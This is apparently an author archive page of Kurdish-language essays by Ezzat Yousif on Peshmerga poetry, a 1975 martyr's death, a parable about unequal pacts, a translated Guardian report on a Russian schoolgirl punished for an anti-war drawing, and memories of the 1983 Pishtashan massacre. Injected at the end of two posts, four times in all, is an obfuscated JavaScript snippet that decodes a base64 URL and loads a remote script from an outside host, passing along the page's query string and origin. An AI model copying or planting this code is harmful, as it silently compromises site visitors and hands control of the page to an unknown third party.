NO IORG
Authors Posts by عزه‌ت يوسف

عزه‌ت يوسف

عزه‌ت يوسف
36 POSTS 0 COMMENTS

5

عزەت یوسف

دیوانا (د چانتكا پێشمەرگەی دا)، قەفتەكا هەلبەستێن ل سەر پێشمەرگاتیێ‌ دناڤ روپەلێن پڕ سۆزا نیشتمانی دا هەمبێز دكەت. هەلبەستڤانێ‌ ئاشق (زوهێر كورەماركی)، ئاشق و شەیدایێ‌ نیشتمان و مللەتێ‌ خۆ، حەژێكەرێ‌ پێشمەركەی، داخبارێ‌ خەبات و زەحمەت و خەمخۆریا پێشمەرگەی، ل داویێ‌ ژی بەژنا خۆ بۆ شەهادەتا پێشمەرگەی دچەمینیت. ئەڤ دیوانە كێمترین وەفاداریە بۆ لەهەنگییا پێشمەرگەی، بۆ شەهادەتا پێشمەرگەی، چونكی هندی دیوان و هەلبەست هەنە ناگەهنە دلۆپەكا خوینا شەهیدەكێ‌ پێشمەرگەی.
سەردەمەكی، بیستنا ناڤێ‌ پێشمەرگەی دەریێ‌ خۆزیا بوو، دیتنا پێشمەرگەی مرادا ل سەر مرادا بوو. دەما ل سەردەمێن بێ‌ ئۆمێدیێ‌ ئۆمێدی دبارین، ئەها ل وی دەمی ولاتەك ب ناڤێ‌ كوردستان، مللەتەك ب ناڤێ‌ كورد جارەكا دی نسكۆ و كەتن د فەرهەنگا خۆ دا نەحەواندن، خەبات و بەرخۆدان حەباندن، خۆ نەڤیان و وەلاتێ‌ خۆ ڤیان، كوردستان ڤیان، كوسك و چەپەر ڤیان، گرتیخانە و زیندان ڤیان، بڕیار و بەرخۆدان ڤیان، ئەرێ‌ ئەو كی بوون؟ پێشمەرگە بوون.. پێشمەرگە. وەسا پێشمەرگەی ئەڤرازیێن ڕك و مرنێ‌ بڕین.
زیرەكی و لەهەنگی و چاڤنەترسیانا پێشمەرگەی، دوژمنان بەری دوستان دانپێدایە، نڤیسەرێن بیانی ل سەر راوەستیاینە. ل سالا 1959، شەهید ئەنوەر مائی، د نامیلكا (محازەرەك ل سەر كوردان ل چینێ‌) دبێژیت (رازمارا)، سەرۆكێ‌ سوپایێ‌ ئیرانێ‌ ل سەردەمێ‌ كۆمارا كوردستان پەسنا قارەمانییا هێزێن پێشمەرگەی؛ نە سوپایێ‌ ئیرانێ‌ دكەت.
ئەو چیایێن پێشمەرگەی پێ‌ دگۆت: «مادەم من بڕنۆ و چیا هەیە هیچ جاران ژبەر دوژمن و داگیركەران نادانم و منەتا وان نزانم،» ئەها ئەو چیا تنێ‌ هەڤالێن كوردان و كوسك و چەپەرێن پێشمەرگەی بوون.
نڤیسكارێ‌ سویدی، (نورد ڤالسترۆم)، د پەرتۆكا (كوردان چ هەڤال نینن ژبلی چیا)، ئەو بخۆ دیدەڤانێ‌ قارەمانییا پێشمەرگەییە، كو ل داویا سالا 1974 ێ‌ قارەمانییا هێزێن پێشمەرگەی ل شەر و بەرخۆدانێن چیایێن زۆزك و هندرینی دبینیت و دبێژیت: (ئەو گەلێ‌ خۆدان ڤان جەنگاوەران بیت یان دێ‌ ب سەركەڤیت، یان ژی دێ‌ ب سەركەڤیت).
بەلێ‌ ئەو پێشمەرگە بوو، بڕنۆیا وی ل ملی و چانتك ب ملیڤە، كو ناڤێ‌ دیوانا كورەماركییە و تنێ‌ ژ دو پەیڤان پێكدهێت د (چانتكا پێشمەرگەی) دا، لێ‌ رامانا هەبوونا گەلەكێ‌ زیندی دگەهینیت، گەلەكێ‌ حەژێكەرێ‌ ئازادیێ‌، گەلەكێ‌ بندەستیێ‌ نەحەوینیت، ولاتەكێ‌ دژ داگیركاریێ‌ دگەهینیت، كو د وێ‌ چانتكێدا تنێ‌ هندەك چنیكێن نانی یان وەرپێچكەكا نانی ل گەل سەركەكێ‌ پیڤازی، دبیت بەكەرەك و دەرزیكەك، دبیت هندەك پەمبی و لفافە، یان تشتێن ریهتراشینێ‌ تێدا بوون، دبیت دەفتەركەكا بیرەوەریان ژی تێدا بیت، و هەر ئەو چانتك بوو ل بەر پالەكی یان ل سەر حەلانەكی، بالگەه و بالیفكا وی بوو، لێ‌ یا ژ هەمیێ‌ گرنگتر هیڤی و ئۆمێدێن گەلەكی تێدابوون، مزگینیا سەركەفتنێ‌ تێدا بوو.
چیایێ‌ زۆزك و مەتینی.. هەمی چیایێن سەركەشێن كوردستانێ‌، داستانێن خواكوركی و كانی ماسێ‌ و دیرەلۆكێ‌ و كۆبانێ‌ و سحێلا.. هەر بهۆستەكا ئاخا پیرۆزا كوردستانێ‌، شاهدی قارەمانی و ئازایەتییا پێشمەرگەینە.
دەما ناڤێ‌ پێشمەرگەه دهێت، ناڤێ‌ بڕنۆیا ژمارە 17، چیا، چەپەر، چانتك، خاك دهێتە بیرا مە. نەترسی، خۆراگری، ئازادی، ئازایەتی، لەهەنگی دهێتە بیرا مە، بیرا مرۆڤی دئینتە سەربۆڕا ئازایەتییا گەلی چیا ل شەڕێ‌ دیرۆكی یێ‌ سێمپاچ ل تیرمەها 1386، كا چەوا گەلێن سویسری دژی داگیركاریا نەمساویان شەڕكرن و كونفیدراسیۆنا سویسرا ژ داگیركرنێ‌ پاراست.
ل داویێ‌، كو داوی پێناهێت، دیوان دبێژتە مە ئەز پێشمەرگەمە، ل هەمی دۆخ و كاودانا ئامادەمە و ئەز هەمە.

8

عزەت یوسف

بۆ بیرەوەریا سالرۆژا شەهیدبوونا پێشمەرگێ‌ جانەمەرگێ‌ شۆرەشا مەزنا ئیلونێ‌ داود بادی، كو جارا ئێكێ‌ بوو من د زارۆكینییا خۆ دا جەستەیێ‌ شەهیدەكێ‌ قارەمان دیتی.
یا تژی كۆڤان و كول و كەسەر بوو.. شەهیدەكێ‌ خۆرت و گەنج، خوین گەرم و تژی بزاڤ، چەلەنگ و چالاك، خودان ئیرادە و باوەری، تازە ریه و سمبێل دەركەتی. سپێدەیەكا درەنگا دەهی شواتا 1975 نە وەك هەمی سپێدەیان ل دویڤ قێژی و هەوار و گرینێ‌ ڤەجنقیاین، دەنگێ‌ گریێ‌ و نیهارێ‌ ژ ئالیێ‌ خوارێ‌ ل گۆندێ‌ ستوكوركێ‌ ل رەخێ‌ كانییا بلقێ‌ ل سەر جۆیا باڵاڤیان و د ناڤ سپیندارا دا ب سەر مە دا هات، بەرێ‌ تەڤ گوندیان كەتێ‌، هەوارە داود شەهید بوویە! بەلێ‌ داود بادی شەهیدە. داودێ‌ خۆدانێ‌ برنۆیا وەسەت و بەژن زراڤێ‌ وەسەت. داودێ‌ ستێركڤان و سەگڤانێ‌ كێلشكێن، دەمێ‌ ئارمانجانێ‌ داود ئێكەم بوو.. بیرا من دهێت كێلەك همبەری گوندی ل بەتەنا نزاری هاتەڤەدان، پڕانییا زەلامێن گوندی و ل گەل هندەك مێڤانان لێ‌ پالە بوون نە هەرێ‌ نە قولپاند، (یا ژ من ڤە، ل وی دەمی، ل هەمی گوندان، گوندییان ساخلەتەك هەبوو، دەمێ‌ كێلەك هاتبا ڤەدان دڤیابا بێخن هەكە كێماسی بوو)، گۆتن هەڕن داودی گازی كەن، داود هات و یێ‌ پەیت، برنۆ د دەستی دا، ستێركا خۆ لێ‌ گرت و ب ئێكەم گوللە پلخ كێل پەلخاند، هەمییان ئافەرینی و دەستخۆشی لێ‌ باراندن.
بەلێ‌ داود یێ‌ كێلشكێن بوو.. چەپەر شكێن بوو، دوژمن شكێن بوو.
شەهید داود د شەڤە چالاكییەكا پێشمەرگایەتی دا ل 9/10 – 2 – 1975، ل نێزیك گووندێ‌ بەرۆشكێ‌ (نێزیك قوتابانا بەرۆشكێ‌ یا سەرەتایی – نها بنەڕەتی) ل گەل مەفرەزا خۆ كەفتنە د بویسەكا دوژمنی دا و شەهید بوو. دەمێ‌ تەڕمێ‌ شەهیدی ل سەر جۆیەكا ئاڤا زەلالا كوردستانێ‌ مینا گیانێ‌ وی یێ‌ پاقژ د ناڤ داروباری ل نێزیكی مالا وان دشۆن، من وەكی كەسەكێ‌ دوازدە سێزدە سالی دیت، كو تەنیشتا وی هەتا گۆزەكی گوللان هنگافت بوو. مینا رەشەبایەكێ‌ ئەز تێكشكاندم د جهدا هشكبووم، بۆ من ئەڤە ئێكەم دیتنا كۆڤانی بوو، دایك و بابان ل هنداڤ دگرین، ئەم ژی هەمی د گەل دا دگرین. ئەو سپێدە نەخۆشترین و تالترین بیرەوەریە بۆ من، هەتا بۆرینا پتر ژ 50 ساڵێن رەبەق من ژبیر نەكرییە و ژبیر ناكەم و هەروەكی دوهی ل پێش چاڤێن من.
شەهید داود پێشمەرگە بوو.. رۆژنامەنڤیسەكی ئیتالی كو شەڕەكێ‌ پێشمەرگەی دگەل سوپایێ‌ ئیراقێ‌ دبینیت، دبێژیت مللەتەك خۆدانێ‌ ڤان قارەمانان بیت، ئەڤرۆ بیت یان سوباهی هەر دێ‌ گەهتە ئامانج؛ بەلێ‌ شەهید داود ژ نڤشێ‌ ڤان قارەمانان بوو.
شەهید داود، ب ساخیا خۆ پێشمەرگەكێ‌ چەلەنگێ‌ خۆڕاگر و ب شەهیدبوونا خۆ لەهەنگەك نەمر.. هەرچەندە جەستەیێ‌ شەهیدی ل زنارێن چیایێ‌ شكێڕی و سەرنەكەت، لێ‌ د وژدانا ویدا قەت كەتن نەبوو، روحا وی بلندتر فڕی و بوو رێبازەك و وەلاتەك تێدا سەركەت.. ئەلهۆیەك ب بلندی ژیا و ب بلندی بەر ب ئاسمانێ‌ نەمری و شەهادەتێ‌ فڕی.. نەمری و سەروەری بۆ شەهید داودی و تەڤایا شەهیدێن كوردینیێ‌ و كوردستانێ‌.

4

عزەت یوسف

بەری هەیامەكێ‌ من سەرهاتیەكا لۆژیكی دناڤبەرا ماری و مشكی دا ب زمانێ‌ ئنگلیزی خواند، یا تژی رامان و پەیام بوو، سەرهاتی وەسا بوو…
ئاگرەكێ‌ بۆش بەربوو دارستانەكێ‌… گیانەوەر ژێ‌ رەڤین، ژ وان مار، هندی ژێهاتی خوە خشاند داكو خوە قورتال بكەت.. دەمێ‌ ب هەر حال خوە خلاسكری و گەهشتیە دەرڤەی دارستانێ‌، مشكەك دیت. مشك ژ خوە تڕسیا، ڤیا بڕەڤیت، ماری گازی كرێ‌: (مشكو نەڕەڤە، ئەز نوكە قورتال بووم، پشتی ئەڤ تڕسا ب سەرێ‌ من هاتی ئەز كەسێ‌ ئازار نادەم. ئەز ژ تێهنا یێ‌ قرقچیمە و من دڤێت ببمە هەڤالێ‌ تە، بەس هندەك ئاڤێ‌ بدە من، مشكی گۆتێ‌ ب دووف من بكەڤە. مارێ‌ واستیای و تێهنی ب دووف كەفت… هەتا گەهشتینە مالا مشكی و هندەك ئاڤ ئینا و دا ماری. ماری تێر ڤەخار هەتا تێهنیا وی شكەستی… پاشی مار تێر نڤست، پشتی هشیار بووی یێ‌ تەنا و سەرخوە، بەرێ‌ خوە دا مشكی و گۆت: گۆهبدێ‌، ئەز دێ‌ پەیمانەكێ‌ ل گەل تە مۆركەم كو ل ڤێرە بژیم و كەسەك ژ مە هێرشێ‌ ل سەر یێ‌ دی نەكەت و ب ئارامی و سلامەتی پێكڤە بژین. مشكی ب دودلی گۆت (بلا.. ئەز یێ‌ رازی مە).
پشتی چەند خۆلەكان، پشتی مار د مالا خوە یا نوو دا گەڕیای، مشكی گۆتێ‌ ئەز دێ چم هندەك خوارنێ‌ ئینم. ماری گۆتێ‌ باشە بەلێ‌ گیرۆ نەبی،مشك گەهشتە بەر دەرگەهی و ل ماری زڤڕی و گۆتێ‌: ب خاتراتە هەتا هەتایێ‌، مالا من پیرۆزی تە بیت، ژیانا من گرنگترە).
ماری گازی كرێ‌ (بۆچی تە گۆمان ژ من هەیە؟)
بەرسڤا مشكی:(ئەڤە پەیمانەكە دناڤبەرا هێزداری و لاوازی، من چ دەستهەلات و شیان تێدا نینە، ئەز ژبەر تڕسا جانێ‌ خوە رازی بووم و نها دێ‌ خۆ رزگار كەم).
ئانكو… هیچ پەیام و پەیمان دناڤبەرا هێزداری لاوازی یا سەركەفتی نابیت، دبیت یا دەمكی و تەكتیكی بیت، لێ‌ هەتا دووماهیێ‌ سەرناگریت. لەوا دڤێت مرۆڤ هەردەم ل خالێن هێزداریێ‌ و سەركەفتنێ‌ بگەڕیێت.

20

عزه‌ت یوسف
سه‌رهاتیه‌كا راست نڤیسه‌ر (رافایێل بێهر)، ل رۆژنامه‌یا گاردیانا به‌ریتانى ب تایتلى (- شه‌ڕێ پیرۆزێ – پۆتینى ل گه‌ل ئوكرانیا) نیشا مه‌ دده‌ت، راستیه‌كا تاله‌ و بیردانكا مه‌ كوردان دزڤرینیته‌ سه‌رده‌مێ بنده‌ستیا رژێما به‌عسیان، كو د هه‌مان كاودان دا ژیاینه‌، ده‌ما رژێما به‌عس برا و برا، باب و كور، هه‌مى كه‌س… ك دكرنه‌ نه‌یار و ڤێكرا به‌ردان. سیاسه‌تا ڤێكرا به‌ردان و دوبه‌ره‌كى په‌یداكرن و سیخورى كرن ژ ئالیێ رژێما به‌عس ل گه‌ل گه‌لێ كوردستانێ هه‌تا سه‌رهلدانا 1991 یا به‌رده‌وام بوو، هه‌تا ئه‌ڤ رژێمه‌ ب دیسپلینێن خوه‌ڤه‌ ژ ناڤچووى و گه‌لێ كوردستانێ ب ئازادى و ره‌وشا دیفاكتۆیا نها شاد بووى.
ئه‌ڤا خوارێ كورتكرنا نڤێسینا نڤیسه‌رى یه‌ من ژ زمانێ ئنگلیزى وه‌رگێرایه‌:
نیسانا سالا بوورى، (ماشا موسكالیڤا)، كچه‌كا ته‌مه‌ن 12 سالى ژ هه‌رێما (تولا) ل باشورێ مۆسكۆ، ل وانه‌یا هونه‌رى ل قوتابخانا خوه‌، وێنه‌یه‌ك كێشا مامۆستایا خوه‌ پێ خه‌مگین كر. مامۆستا چو گۆته‌ رێڤه‌به‌رى؛ رێڤه‌به‌رى په‌یوه‌ندى ب پۆلیسان كر؛ پۆلیسان گه‌هانده‌ ده‌زگه‌هێ ئاسایشێ (FSB) و لێپرسین ل گه‌ل (ماشا) یێ هاته‌ كرن، دایك و بابێن وێ هاتنه‌ گرتن، لێدان و سزادان، كچ ژى برن و ئێخستنه‌ بن چاڤدێریا ده‌وله‌تێ.
تاوانا ماشایێ (بێریزبكرنا له‌شكرى) بوو. (تاوانه‌ك) پشتى داگیركرنا ئوكرانیا بوویه‌ یاسا داكو راستیێن تاوانان نه‌هێنه‌ زانین. سزایێ ئه‌ڤێ پێنج سال زیندانه‌. وێنه‌یێ ماشایێ كێشاى، ژنه‌ك و زارۆكه‌ك، ده‌ست ل ناڤ ده‌ست، ل ته‌نیشت ئالایێ ئوكرانیا نیشان دابوو. مووشه‌ك ژ ئالیێ ئالایه‌كێ رۆسیاڤه‌ به‌ره‌ڤ وان دهێن و ل سه‌ر نڤێیه‌ (نه‌ بۆ شه‌ڕى).
ئه‌ڤ گۆتنه‌ ب تنێ ب زمانێ رۆسى (net voine in Russian) به‌سه‌ بۆ ده‌ستپێكرنا لێپرسینا تاوانكاریێ. د شیاندایه‌ ژبه‌ر تابلۆیه‌كا د ده‌ستێ ته‌ دا كو تنێ ئاماژه‌ ب وى درووشمى دكه‌ت كو ستێر ل سه‌رن *** ***** مرۆڤ بهێته‌ گرتن.
مامۆستایا هونه‌رى یا ماشایێ داخواز ژ قوتابیێن پۆلێ نه‌كربوو كو تنێ وێنه‌یه‌كێ هه‌روه‌ بكێشن. رێنمایى ئه‌و بوو كو تشته‌كى به‌رهه‌م بینن په‌یوه‌ست ب پیرۆزكرنا (ئۆپه‌راسیۆنا سه‌ربازیا تایبه‌ت) ل ئوكرانیا هه‌بیت.
شه‌ڕ د دره‌وه‌كێدا هاته‌ دیتن: دیتنا شاشا پۆتینى كو ئوكرانیا نه‌ وه‌لاته‌كێ راستینه‌یه‌، و گه‌لێ وێ تاقمه‌كا دلێن نازیا نوینه‌ و كه‌تینه‌ دناڤ ماددێن بێ هۆشكه‌ردا، و دێ پێشوازیێ ل هێرشا رۆسیا وه‌ك رزگاركه‌ر ژ ئالیێ برایێن خوه‌ یێن سلاڤیكى ڤه‌ كه‌ن.
ده‌مێ ئۆكرانیا به‌رسڤا شه‌ڕى داى و به‌رگرى كرى، هێلا فه‌رمى یا كرملین بۆ تشته‌كى خرابتر هاته‌ گوهۆرین. دڤێت ئه‌و كه‌سێن ملكه‌چ نه‌بن بێ دلۆڤانى بهێنه‌ ترساندن و تیرۆر كرن. هێرشێن مووشه‌كى یێن كورانه‌ بۆ سه‌ر باژێرێن ئوكرانیا هیچ خزمه‌تا ئه‌ركه‌كێ تاكتیكیێ قادا شه‌ڕى ناكه‌ت. ئارمانج ژێ لاوازكرنا ده‌وله‌تا ئوكرانیایه‌ وه‌كو پێشه‌كیه‌ك بۆ نه‌هێلانا ئوكرانیا وه‌ك كه‌لتوره‌كێ جودا و وه‌ك نهته‌وهیهك. ده‌نگ و تۆنا هنده‌ك ژ پسپۆرێن كه‌نالێن پرۆپاگه‌نده‌یێن كرملین ب ئاشكه‌رایى جینوسایده‌. ئه‌ڤه‌ به‌ره‌یێ دوێ یێ شه‌ڕى یه‌، كو دژى وژدانا رۆسیا دهێته‌ ئه‌نجامدان – هێرشه‌كا سه‌رتاسه‌رى ل سه‌ر راستیان، به‌لگه‌، ریالیست.
راپۆرته‌كا ڤێ داویێ یا (ئوڤ دى ئینفۆ)، كو گرۆپه‌كا پێشه‌نگێن مافێن مرۆڤێن رۆسیا یه‌، به‌لگه‌دار كریه‌ كو نێزیكى 20 هه‌زار كه‌س ژبه‌ر كریارێن دژى شه‌ڕى هاتینه‌ ده‌سته‌سه‌ركرن. حاله‌ت هه‌نه‌ كو خه‌لكه‌ك ژبه‌ر ده‌ربرینا نه‌رازیبوونێ د دانوستاندنێن تایبه‌تدا، یان تنێ ژبه‌ر په‌یوه‌ندى ب وان كه‌سان هه‌نه‌ كو دنیسن ب دژاتیا شه‌ڕى هاتینه‌ ده‌سته‌سه‌ركرن. درنداتیا پۆلیسان رۆتینیه‌، ب گه‌فێن ته‌له‌فۆنى، تێكدان، لێدان، ده‌رێخستن ژ كارى.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

7

عزه‌ت یوسف
وه‌سا رێكه‌فت، ده‌ما ئه‌ز چوویمه‌ ئێك ژ په‌رتووكخانه‌یێن دهۆكێ، په‌رتووكه‌ك ب ناڤێ پشتئاشان كه‌ته‌ به‌رسینگێ من، من ژى زوى خوه‌ تێ وه‌ركر و دانه‌ك دابینكر. دو شه‌ڤان كه‌تمه‌ به‌ر ژ به‌رگى بۆ به‌رگى من كره‌ به‌رۆك. په‌رتووك نه‌ چیرۆك و رۆمان و ئه‌فسانه‌ یه‌، لێ شاده‌حالیه‌، نڤێسه‌ر ئێكه‌ ژ قورتالبۆیێن كشتارا خۆرناقا (قرناقه‌ و پشتئاشان) ل ئێكێ مه‌ها گولانێ سالا 1983.
رژێمێن ده‌ستهه‌ڵاتدارێن ئیراقێ، ئێك ل دویڤ ئێك، یا ژێهاتى و بۆ هاتى پێڤه‌هاتى ژ كوشتن و كوشتار و قركرن.. ده‌رحه‌قێ گه‌لێ كوردستانێ دا كێماتى و خه‌مسارى نه‌كریه‌. چه‌ندى شیاینه‌ ئاگر و ئاسن ب سه‌ر دا باراندینه‌. كوشتارا گوندێ كۆركۆ ل ده‌ڤه‌را نهێلێ سالا 1961، كوشتارا گوندێ سووریا ل ده‌شتا سلێڤانه‌ییا سالا 1969، كوشتارا شكه‌فتا داكان ل ده‌ڤه‌را شه‌مكان سالا 1969 و سال بۆ سالێ كوشتارێن خوه‌ مه‌زنتر و به‌رفره‌هتر لێكرینه‌؛ كوشتارا قوتابیێن قه‌لادزى ل سالا 1974 و هه‌تا ئاخر كوشتارا جیۆنۆسایدا ب ناڤێ ئه‌نفال ل سالا 1988 و كوشتارا گوندێ كۆچۆ ل شنگالێ سالا 2014.
هه‌مى كوشتارێن ده‌رحه‌قێ مرۆڤان دا، مرۆڤى تێكدا دهژینن و تاوانن، كوشتارا سه‌برا و شاتیللا ل لوبنانێ ل سالا 1982، كوشتارا سێربرنیتسا ل بۆسنه‌ ساڵا 1995 و كوشتارێن هۆتۆ و تۆتسى ل رواندا ل سالا 1994.
یا ئه‌ز دخوازم پتر ل سه‌ر راوه‌ستم كوشتارا گوندێ پشتئاشانه‌، كو ل جه‌ژنا كرێكارێن جیهانێ ل 1/3/1983رووداى. ئه‌و كوشتارێن دوژمنان ب سه‌رێ كوردان ئیناین، دبێژم ئه‌و دوژمن بوون، لێ یا پشتئاشان ب ده‌ستێ دۆستان بوو. هه‌رچه‌نده‌ چه‌ند كوشتاره‌كێن دیتر ژى هه‌بووینه‌، وه‌كى كوشتارا رایات و هه‌كارى و گدى حوسنى و رانیه‌ و هه‌یبه‌ت سولتان و سنوورێ توركیا كو كوردان د ناڤبه‌را خوه‌دا ئه‌نجامداینه‌… لێ هه‌ر كوشتاره‌كێ وه‌خت و كاودان و كرێتى و فهێتیا خوه‌ هه‌یه‌.
بۆچى ئه‌ز پتر ب ڤێ كوشتارێ كوله‌ژار بووم؟ چونكو من دو سه‌رهاتى یان بیره‌وه‌ریێن تال ل سه‌ر ڤێ مژارێ هه‌. یا ئێكێ، ئه‌ڤه‌ من ڤه‌دگه‌رینته‌ سالا 1983 ده‌مێ ئه‌ز قوتابى ل زانكۆیا به‌غدا، پرانیا هه‌ڤالێن من لایه‌نگرێن ئالیێ كوژه‌ك بوون، ب كاره‌ساتێ دلشاد و به‌خته‌وه‌ر بوون، دگۆتن مه‌ هه‌مى شیۆعى سه‌ربرین و ده‌ڤه‌ر ژێ رامالى، ب دزى و نهێنى گوهداریا كوشتارا پشتئاشان ژ ئێزگه‌هه‌كى دك، چه‌ندى سه‌رقولێن شه‌ڕى و سه‌رقۆلێ وان یێ مه‌زن ب رێیا ئێزگه‌ى پیرۆزباهیێن سه‌ركه‌فتنێ دباراندن په‌رێن هه‌ڤالێن مه‌ ژى ژ خۆشیان قژ دبوون.
بیره‌وه‌ریا دویێ، ل سه‌ر ڤێ ره‌شه‌ بۆیه‌رێ، دوماهیا سالا 1989 بوو، ئه‌ز ل رومێله‌ سێكۆچكێ ئیراق – كوێت – سعوودیه‌ سه‌رباز بووم. گه‌نجه‌كێ كورد ژى خه‌لكێ دۆز ب ناڤێ (بارز-) ل یه‌كه‌یا مه‌ بوو، ئه‌ز و ئه‌و د هه‌مان خیڤه‌ت دا دنڤستین، هه‌ڤالینیه‌كا باش د ناڤبه‌را مه‌ دا په‌یدابوو. ئاخفتن ئاخفتنێ دكێشیت، گۆتێ ئه‌ز ل سالا 1982 هه‌تا 1984 ل ده‌ڤه‌را گه‌رمیان پێشمه‌رگه‌ بووم، ئه‌ز ئێك ژ هێزا تیپه‌كا گه‌رمیان ووم ده‌مێ مه‌ ب سه‌ر جه و باره‌گایێن شیۆعیان ل قورناقه‌ و پشتئاشان داگرتى، یێ كه‌تیه‌ ده‌ستێ مه‌ دیل بیت بێ چه‌ك بیت ل گۆر فه‌رمانا سه‌رى مه‌ كوشتن. چیرۆكه‌كا جه‌رگبر ڤه‌گێرا گۆتێ د ئێك ژ كولكێن نێزیكى باره‌گایێ شیۆعیان ماله‌كا ئێك ژ وان تێدا بوو، ژ زه‌لامه‌ك و ژنه‌ك و زارۆیه‌كێ سێ چار سالى پێكهاتبوو، مه‌ زه‌لام ل وێرى كوشت و د خوینا خوه‌ دگه‌ڤزى، زارۆك ژى چوو سه‌ر ته‌رمێ بابێ و یارى ب خوینا وى دكر، ژنێ ناڤێ وێ (فرى-) بوو، گۆته‌ مه‌ هه‌ى نه‌ مه‌ردان، هه‌ى ترسنۆكان من ژى بكوژن و ئه‌ڤى زارۆكى ژى بكوژن، چونكى ئه‌ڤ زارۆكه‌ دێ تۆلا خوه‌ گران ژ ههوه‌ ڤه‌كه‌ت.. هێشتا گۆت، ئه‌ڤ كاره‌ساته‌ هه‌ر رۆژ ل پێشچاڤێن من دزڤرن و دهورمژن و هه‌تا ئه‌ز دمرم ژى بۆ چركه‌كێ ژبیرا من ناچیت.
من گۆتێ ته‌ ژى پشكدارى د كوشتنا دیلان دا كر؟ گۆت: (بێ شك بنئه‌مرى بوو، ئه‌ڤه‌یه‌ كۆڤانا من).
نڤیسه‌رێ په‌رتووكا پشتئاشان دبێژیت، باره‌گایێ مه‌ ل پشتئاشان بوو، جهه‌كێ ڤه‌ده‌ر و ئاسێ و گرتى، مه‌ هێزه‌كا شه‌ڕ و شه‌ڕخوازیێ نه‌بوو، مه‌ شیانێن هیچ شه‌ڕان ژى نه‌بوو، مه‌ مه‌ترسى ژى بۆ هیچ ئالیان نه‌بوو، ئێزگه‌یێ مه‌ و مه‌كته‌با راگه‌هاندنێ و هنده‌ك مالێن مه‌ د وان شكه‌فت و كولك و د بن خیڤه‌ت و بن كه‌ڤر و داران بوون. ئهم سه‌رقالى به‌رهه‌ڤیا ئاهه‌نگا ئێكێ گولانێ جه‌ژنا كرێكارێن جیهانێ بووین، شه‌ڤه‌كا سر و سه‌قه‌م و به‌فراوى و تبل چاڤانێ بوو، ده‌ما هێزه‌كا كوردى ل چه‌ند ته‌وه‌ران ب سه‌ر مه‌ دا گرتى و 70 كه‌س ژ مه‌ كوشتین، بێى ئه‌م ته‌قه‌كێ بكه‌ین یان ئێك ژ هێرشكه‌ران بكوژین، ژ ڤان 70 یان 25 كه‌س ب دیلى و بریندارى كوشتن و ه‌رمێن وان به‌رزه‌ كرن.
نڤیسه‌ر ئه‌ڤێ كوشتارێ مینا ئه‌نجامدانا كوشتارا به‌عسیان ل هۆلا (ئه‌لخلد) ل سالا 1979 وه‌سفدكه‌ت كو گۆرێن قوربانیان هه‌تا نوكه‌ د به‌رزه‌نه‌.
مه‌ره‌ما من ل ڤێره‌ نه‌ ڤه‌كرنا برینێن كه‌ڤنه‌، لێ په‌ند ژێ وه‌رگرتن و دوباره‌ و چه‌ندباره‌ بوونا وان نه‌بیت. ئه‌ڤ كوشتارێن وه‌سا كه‌س تێدا یێ سه‌ركه‌فتى نینه‌ و بۆ هیچ ئالیه‌كێ ژى شانازى نینه‌. هه‌ر شه‌ڕه‌كێ كورد كوژى ب هه‌ر بهانه‌كێ ژى رودابیت هه‌مى بالێن پشكدار تێدا كوڤاندار و زیانبه‌خش بووینه‌.
كوردستان ژ هه‌مى ئالیان یا برینداره‌، ژ هه‌مى ره‌خان ب هێلا دوژمنى ده‌وردایه‌. هه‌لبه‌ستڤان (باریێ بالا)، ژى دبێژیت: كوردستان برینداره‌، نه‌ ئێشینن، ئێدى به‌سه‌.
ب هیڤیا دوباره‌ نه‌بوونا كاره‌ساتان و گه‌ل و وه‌لاتێ مه‌ هه‌ر یێ پاراستى بیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

4

عزه‌ت یوسف
ئه‌گه‌ر به‌رپابوونا هه‌ر شۆرشه‌كێ پێدڤیا خوه‌ یا دیرۆكى و هۆكارێن خوه‌ یێن ره‌سه‌نێن بابه‌تى هه‌بوو بن، شۆرشا گۆلانێ هێشتا وێڤه‌تربوو، ئه‌و ژ كێلبێن ژه‌هراوییا رێكه‌فتنه‌كا نه‌چاڤه‌ڕێیا خیانه‌تكاریا كومباخا جه‌زائیر ڤه‌په‌شى و به‌رده‌وامى و درێژه‌ پێدانا شۆرشا ئیلۆنا مه‌زن ب هزر و ئالاڤ و شێوازه‌كێ نوى بوو. شۆرشا ئیلۆنێ به‌رسڤدانا پیلانا جه‌زائیر و زولم و زۆریا دوژمنان بوو.
ل ده‌مه‌كى رژێما به‌غدا یا داگیركه‌را ئه‌وى ده‌مى، ب دڕ و هارى دخواست كورد بنده‌ست بژین تا ئه‌به‌د، د وێ هزرێ دابوو كو تشته‌ك ب ناڤێ شۆرشا كوردى و ب ناڤێ كوردستان نه‌ما، كوردستان تێكدا هه‌مى گر و مل و چیا و ده‌شت كرنه‌ خال و روانگه‌ و كه‌مپێن له‌شكرى، ب هه‌مى داموده‌زگه‌هێن خوه‌ یێن ئه‌منى و سه‌ربازى ڤه‌؛ سیخۆرى كه‌ته‌ گیانێ ملله‌تى و وه‌لاتى، ئه‌ها د وى ده‌مى دا ئیراده‌یا كوردان د شۆرشا گولانێ دا ب رژدى و موكومى سه‌رهلدا و ئومێدى و مزگینى به‌خشه‌ك بۆ خه‌باته‌كا نوى هه‌لات.
